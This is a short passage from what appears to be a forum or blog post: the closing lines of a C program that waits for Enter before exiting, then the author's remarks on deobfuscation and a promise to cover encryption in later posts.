        return -1;
    }
   

    printf("[#] Press <Enter> To Quit ...");
    getchar();
   
    return 0;
}


I dont think any one need there deobfuscation but if anyone need of any encryption let me know i will cover in my next blog as well

This was for today its an fundamental for the stuff which going to cover in upcoming posts

Thank you
 
Сверху Снизу